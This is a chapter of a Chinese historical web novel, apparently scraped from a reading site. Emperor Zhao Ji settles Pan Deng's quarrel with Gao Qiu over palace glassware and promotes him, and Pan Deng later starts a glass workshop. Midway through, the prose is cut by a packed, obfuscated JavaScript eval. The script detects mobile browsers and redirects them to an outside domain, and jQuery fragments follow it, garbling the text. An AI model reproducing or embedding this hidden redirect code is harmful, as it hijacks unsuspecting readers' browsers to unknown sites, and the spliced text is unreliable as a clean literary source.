赵佶又是哈哈一阵笑,杨戬也捂着嘴偷笑。
那掌柜的颤颤巍巍的指着潘邓,“小民,小民绝对没说过此话,是,是他说要报官,把我带到开封府判刑!”
高俅厉声说道:“是谁给你的胆子!不光敢冒充高官之子,竟然还以权谋私,借着开封府的名头行事!你当你有个开封知府做老师,就能为所欲为了不成?当那开封府是你家开的!”
潘邓站在那任由他骂,等高俅说完了,才揣着手问那掌柜的,“先前说我冒充太尉之子,这会儿又说我借老师的名头行事,你这前言不搭后语,也不知我当时用的到底是谁的名头呀?”
那高俅主仆卡壳了,半晌高俅怒道:“你先是说要报官,我那掌柜的不惧你,你才说自己是我高俅的儿子的!”
潘邓依旧不慌不忙,“你那掌柜的说自己是杨太傅家人,不也借了杨太傅名头行事,和我有什么区别。”
“那也是你要报官在先!”
“我不过看你店中琉璃盏和皇宫中的类似,怀疑是有人从宫中偷出来的罢了,若真如此,岂不是危害宫中安危?此事开封府不管要谁去管?”
说到此事,高太尉也正好在皇帝面前洗清嫌疑,说道:“你这小儿乱说些什么!我那铺子里向来是异域琉璃,哪里来的宫中琉璃盏!”
潘邓冷哼一声,“便是那异域人人知我朝民俗,做得出莲花,葫芦,菩提来,也做得出龙凤,麒麟,仙鹤来,他们却做得出九鼎?”
此九鼎就是赵佶亲自设计,做出的小一号的琉璃祭器。
高俅心中一惊,怒斥:“莫要信口雌黄!我铺里哪来的九鼎!”这小子怎么能如此乱说!竟然编瞎话来编排他!
潘邓却不看他,依旧是揣着手低头。
高俅左观右看,见官家,杨戬都看他呢,只得跪下,“冤枉!潘邓胡言乱语,下官怎可能做此事,请陛下明察!”
赵佶心中明镜一样,知道自己宠臣的德性,八成是运了琉璃所中废品出去卖,他向来睁一只眼闭一只眼,不管琐事,不过工匠应该是没胆子把九鼎的废品也保留的。
高俅见官家不说话,咬牙道:“这小子胡说的!天地可鉴,臣真没做此事!”就是皇帝真要查,查出他那些个琉璃器都是宫中废品,他也认栽了,绝不能叫陛下以为他敢偷陛下设计的祭品出去卖!
赵佶摆摆手,听他们打口水架也听够了,“何至于此,本来没多大的事,闹到如此地步。”他问那掌柜的:“你这鼻青脸肿的,真是叫潘卿家打的?”
皇帝威严甚重,掌柜的直接跪了下去,“小民……小民自己下楼摔的。”
赵佶便说:“行了,到此为止,都回去吧,高卿家明日进宫来陪朕踢球。”
高俅松了一口气,心中感念起陛下的宽容来,恶狠狠的瞪了潘邓一眼,领着那颤颤巍巍的掌柜出宫了。
赵佶笑着问潘邓:“到底是怎么回事?你和朕说一遍,不许说谎。”
潘邓又行礼,“禀陛下知,下官今日想出去定做一个琉璃器,见那掌柜店中琉璃器甚多,便问他能否定做,那掌柜支支吾吾,也不说明来处,我见有异,便诈他一诈,谁知那掌柜说自己是杨太傅手下。”
赵佶看向杨戬,又看潘邓,“他真说自己是杨太傅家人?”
潘邓说到:“千真万确,我见这家人模样嚣张,丝毫不将我这小七品官放在眼里,我心中有气,却不敢借老师名头做事,怕回去被老师处罚,便胡乱攀扯了高太尉,只想吓他一吓,抖个威风,没想到舞到正主面前了,陛下明鉴,下官绝对没用开封府名头欺负人。”
“哈哈哈哈哈……”赵佶大笑,“你呀……”他心中开怀,转头对杨戬说道:“那掌柜也是个鬼灵精,还知道借你杨戬名头做事呢。”
杨戬咬紧了后槽牙,这个高俅!
还有这个潘邓,什么眼力!竟然觉得把那高俅的名字说出来能压他杨戬一头?
他赶紧对皇帝说到:“……这样的事儿也不知道多少呢,净会败坏下官的名声。”知道他杨戬的名声为什么不好了吧,都赖这群人!
赵佶又问:“你要做琉璃器做什么?”这琉璃器按律法来定,只有宗室能用,只是朝中素来不管此事,因此民间也多有用琉璃器的。
潘邓答道:“臣闻圣寿将至,虽身份卑微,亦欲献芹之诚。素知陛下崇礼重祭,因此想制一件琉璃祭器,以奉圣上。”
赵佶点点头,心想这些日子总是召见这小官,可见他也知感恩戴德,便召唤潘邓到身前来:“过来。”
潘邓走过去,只见赵佶御笔手诏,“你这七品官在京中确实不好行事,我听闻你老师同门之中有一师弟,是集英殿修撰,太子少詹事,为太子讲学的,是个六品官。叫你挂名集英殿,怕是朝臣不同意,你便做挂个著作郎,也是六品,继续出你的刊物吧。”
潘邓没想到还有这等好事,诚惶诚恐,连忙跪下:“臣潘邓不胜感激,叩谢圣恩!蒙陛下提拔,臣必当竭尽全力,忠诚履职,以报皇恩!”
赵佶笑道:“爱卿怎么还跪下了,快起来,回去和你老师贺喜吧。”
潘邓露出笑容来,又谢过陛下,这才出宫。
*
潘邓回到陈府把自己升官的事告诉了老师,陈老师大吃一惊,手里的棋子都掉在棋盘上,徐师叔听了也沉默,缓缓地将手里的棋子放在棋篓里。
徐观问,“这是怎么回事?你且详细说来。”
徐观就将事情的原委,从白日里去买琉璃开始讲起,一一说了,末了说道:“官家叫我回来说给老师听,和老师一同贺喜呢。”
徐观听了笑道:“那便先恭贺师兄了。”
陈文昭也琢磨过来,他现在是权知开封府事,也是六品官,想来官家也会给他一同升一升。
不过他来不及为自己升官喜悦,而是上下打量自己的学生,“你这小子当真有几分本领,竟然能转祸为福。”
潘邓撇嘴道:“哪里有什么祸,本来没多大事,那高太尉硬要去官家面前露脸罢了,不过是看官家最近没有找他踢球,变着法子往官家面前凑。”
陈文昭又改为左右打量自己的学生,看他那气定神闲品茶的样子,竟能从他身上感受出一种大奸佞的气派来。
嗯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13799719|141181||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?陈文昭又定睛一看,面前人又变成他朴实的小学生了。
潘邓又笑着说道:“不过也因祸得福,做琉璃一事也算在官家面前走了明路。”
“你又有什么生意做了?”
潘邓点头,“待我赚了钱,孝敬师父师叔。”
陈文昭嗤道:“莫拿你师父师叔当幌子,我看出来了,你这小贼赚钱有瘾。”
潘邓嘻嘻一笑。
第二天果然有旨,擢升陈文昭为右谏议大夫龙图阁待制权知开封府事,擢升潘邓为著作郎。
这次陈老师升职升了品阶,右谏议大夫是从四品官,俸禄提升不少,又加了文官荣誉称号,但实际上干的活没变,还是在开封府做知府。
而他也只有官没有职,只是官阶向上升了而已。
潘邓点点头,加工资却没加活,这是多少打工人的梦想呢!
*
升了官后日子一如往常,潘邓在开封府边上四处找院子想要建个小琉璃厂,不几天的时间叫他找到一个,距离远些,好在价格比府中便宜不少。
李三娘过去把院子定下,又开始找琉璃匠,这一步上犯了难。
市面上根本没有琉璃匠人,这技艺不是什么人都能学到的,潘邓听闻也知此事急不得,便叫李三娘先缓一缓。
李安澜说道:“我和小郓哥这几天一直在找,听闻京畿陈留府有个老匠人懂得些许,已派人把那老琉璃匠接来了,不过他人还没来,却传话给我们说他在这京畿烧不了琉璃,也不知是因为什么。”
潘邓问道:“可是因为没有合适的火炉?”
李安澜说:“已按照那老匠人说的打炉子了,工具也都打着呢。”
潘邓便说:“那便等到他来再看。”
几日过后,老匠人杨诚厚来到开封府,一头白发扎着布巾,身子骨看起来颇为康健。
他仔细检查了一遍炉子、火钳、吹筒、棍头、滚药石、甘锅罐等,说道:“只准备一个甘锅,一个熔炉也就行了,旁的备它作甚,这琉璃做不起来……”
说着从怀里掏出一张纸来,交给潘邓,“抓药有药方,抓琉璃也有琉璃方……这是我当年在广南东路做琉璃时的琉璃方,大人请看。”
潘邓拿在手里一看,只见上面写到:马牙石二十三斤三两,盆硝十三斤七两六钱,硼砂六斤,砒霜两斤三两,紫石一斤两钱,定粉两斤三两四钱,开平土十八斤六两,末之相融得剔透水晶。
杨老说道:“这就是我们所说的琉璃方,直接给出原料,斤两,里面各种矿石,按照它给的斤两磨成粉混合在一起烧,就可以得到琉璃。”
“此方只在英州一地能烧出琉璃来,别的地方不要想,在汴京城就算是完全按照这张琉璃方来抓土,也是成不了的,每个地方的土是不一样的。”
潘邓点点头,表示理解,地域不同,土壤和岩石里面的有效成分也会有着很大的差别。
但是他也不能就这么放弃,说道:“先按这个烧出来试试。”
杨老一幅“我就知道”的样子,心道这东家不撞南墙不死心,便应到:“这就给东家烧制。”